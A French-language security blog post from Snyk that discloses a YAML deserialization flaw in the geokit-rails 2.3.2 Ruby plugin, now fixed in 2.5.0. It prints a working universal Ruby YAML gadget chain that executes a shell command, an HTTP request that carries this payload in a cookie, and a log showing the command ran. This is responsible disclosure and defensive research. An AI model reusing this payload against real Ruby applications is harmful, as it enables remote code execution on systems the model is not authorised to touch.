Skip to main content

Détecter la désérialisation YAML avec Snyk Code

Écrit par
Headshot of Calum Hutton

Calum Hutton

23 février 2023

0 minutes de lecture

J’ai mené des recherches pour détecter les problèmes d’injection YAML dans des projets open source à l’aide de Snyk Code. Bien que cette vulnérabilité ne soit pas nouvelle, l’impact potentiel d’une injection YAML est important, ce qui en faisait un sujet de recherche pertinent. Ces recherches ont permis de découvrir plusieurs problèmes dans des projets open source écrits en Python, PHP et Ruby. Cet article porte sur le problème trouvé dans geokit-rails version 2.3.2, un plug-in pour Ruby on Rails

YAML

YAML est bien plus qu’un simple format d’échange de données comme JSON. Sa spécification décrit plusieurs fonctionnalités avancées qui en font un sujet intéressant pour l’analyse de sécurité, notamment :

  • Les balises personnalisées (par exemple, PyYAML)

  • Les ancres et les alias

  • Les attributs fusionnés

  • Les flux de documents multiples

YAML peut également servir à sérialiser des données binaires et des objets arbitraires dans différents langages, ce qui peut entraîner des vulnérabilités de désérialisation. Ces vulnérabilités sont la cible de ces recherches, car une exploitation réussie mène souvent à l’exécution de code à distance (RCE).

La désérialisation YAML en Ruby

En Ruby, l’analyse YAML est intégrée au langage : aucune bibliothèque supplémentaire n’est donc nécessaire. Si une application utilise l’analyseur YAML intégré à Ruby, elle est vulnérable aux attaques par désérialisation si elle utilise YAML.load() ou YAML.load_file() plutôt que YAML.safe_load() ou YAML.safe_load_file(), respectivement. Le projet SafeYAML propose un autre analyseur YAML sécurisé par défaut.

Le script et le résultat ci-dessous illustrent une méthode non sécurisée pour charger du YAML avec YAML.load().

require 'yaml'

var = {
 id: 1,
 desc: 'A simple hash'
}

yaml = '---
:id: 1
:desc: A simple hash'

puts var
puts YAML.load(yaml)

# Prints:

{:id=>1, :desc=>"A simple hash"}
{:id=>1, :desc=>"A simple hash"}

La variable var contient un simple hachage Ruby, et la variable yaml contient le hachage équivalent, sérialisé au format YAML. Les deux instructions puts affichent le même hachage, car la variable yaml a été désérialisée à partir d’une chaîne YAML en hachage à l’aide de YAML.load(). Des objets plus complexes peuvent également être sérialisés et désérialisés de cette manière. 

Au début de ces recherches, j’ai découvert un gadget universel de désérialisation YAML pour Ruby qui fonctionnait avec les versions 2.x à 3.x de Ruby et qui, une fois désérialisé, déclenchait l’exécution de commandes arbitraires.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

La charge YAML ci-dessus exécute la commande id lors de la désérialisation si elle est analysée avec YAML.load() ou YAML.load_file().

Étude de cas : geokit-rails (2.3.2)

Le gem geokit-rails est un plug-in pour Ruby on Rails qui fournit des services de géolocalisation à l’application. Dans la méthode retrieve_location_from_cookie_or_service() de geokit-rails/ip_geocode_lookup.rb, le plug-in utilise la méthode non sécurisée YAML.load() :

# Uses the stored location value from the cookie if it exists.  If
# no cookie exists, calls out to the web service to get the location.
def retrieve_location_from_cookie_or_service
 return GeoLoc.new(YAML.load(cookies[:geo_location])) if cookies[:geo_location]
 location = Geocoders::MultiGeocoder.geocode(get_ip_address)
 return location.success ? location : nil
end

Les données transmises à la méthode non sécurisée YAML.load() proviennent du paramètre cookies de Ruby on Rails, qui contient les cookies envoyés dans la requête. C’est une bonne nouvelle pour un attaquant, car il peut contrôler directement les cookies en construisant la requête HTTP appropriée. 

Preuve de concept

J’ai configuré une application Rails utilisant le plug-in geokit-rails (version 2.3.2) avec Ruby 3.0.0. J’ai envoyé à l’application la requête HTTP suivante pour exploiter le problème. Elle contient la charge YAML encodée dans l’URL dans le cookie geo_location.

GET http://127.0.0.1:3000/vulns HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 0
Cookie: geo_location=---%0A-+%21ruby%2Fobject%3AGem%3A%3AInstaller%0A++++i%3A+x%0A-+%21ruby%2Fobject%3AGem%3A%3ASpecFetcher%0A++++i%3A+y%0A-+%21ruby%2Fobject%3AGem%3A%3ARequirement%0A++requirements%3A%0A++++%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%0A++++io%3A+%261+%21ruby%2Fobject%3ANet%3A%3ABufferedIO%0A++++++io%3A+%261+%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%3A%3AEntry%0A+++++++++read%3A+0%0A+++++++++header%3A+%22abc%22%0A++++++debug_output%3A+%261+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++socket%3A+%261+%21ruby%2Fobject%3AGem%3A%3ARequestSet%0A+++++++++++++sets%3A+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++++++++++socket%3A+%21ruby%2Fmodule+%27Kernel%27%0A+++++++++++++++++method_id%3A+%3Asystem%0A+++++++++++++git_set%3A+id%0A+++++++++method_id%3A+%3Aresolve; _my_rails_app_session=%2B48ny21MkgVzlJR4LMcsdNtOK0G1aHx0%2Byoz4xLnkaMHrCner7YSRfQ04notQ0oNesQdG4EV5T%2FpyrQBSKBdKOZLLvP2J1NLOAQe1Z5zTTuu5Grcw1wuRpIHKAmZjfj3bqKqghkOj1JpOBxJoxFS7L6cH3wIsoq%2FrK%2BlAxVvP%2F8F9g5Q%2FA3pLVj2DTF3l7CcDBzOE9cPCOShesP717YbZNoa%2BPNf3mGjmKWvq26Y3CKMg2z7mAJHA%2B0CdA9l2pXsbrgwRJUW3Epqx4eJt0%2FDCJgS6Mp7rGjQeoIqLj4%3D--YAEA%2FepI0t701ifo--fVitYcX5PORz3a9xN4ev4A%3D%3D; __profilin=p%3Dt

Dans l’application Rails, la charge a été désérialisée et exécutée : la commande id a ainsi prouvé qu’il était possible d’exécuter des commandes.

Started GET "/vulns" for 127.0.0.1 at 2022-11-07 12:05:57 +0000 Processing by VulnsController#index as HTML 
sh: reading: command not found 
uid=501(calumh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) 
Completed 500 Internal Server Error in 167ms (Allocations: 35610)

Sur un système utilisant geokit-rails, un attaquant exploitant cette vulnérabilité pourrait déclencher une RCE, et potentiellement prendre le contrôle total du système. 

Correctif

Ce problème a été signalé de manière responsable au responsable de la maintenance de geokit-rails. Il a été corrigé dans la version 2.5.0 du logiciel en remplaçant par du JSON le YAML contenant les coordonnées. À la suite de ces recherches, les règles de Snyk Code pour détecter les injections YAML ont été améliorées et enrichies : encore plus de problèmes de ce type devraient donc désormais être détectés dans les projets des utilisateurs. 

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis Capture The Flag en regardant à la demande notre atelier virtuel d’initiation.

Lire la suite

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.

Blog

Pourquoi les agents de codage IA créent-ils sans cesse des failles de contrôle d’accès ?

Les agents de codage IA peuvent générer une logique d’autorisation qui compile et passe la revue, tout en exposant les données d’un tenant à un autre. Découvrez pourquoi les failles de contrôle d’accès sont difficiles à détecter et comment les prévenir.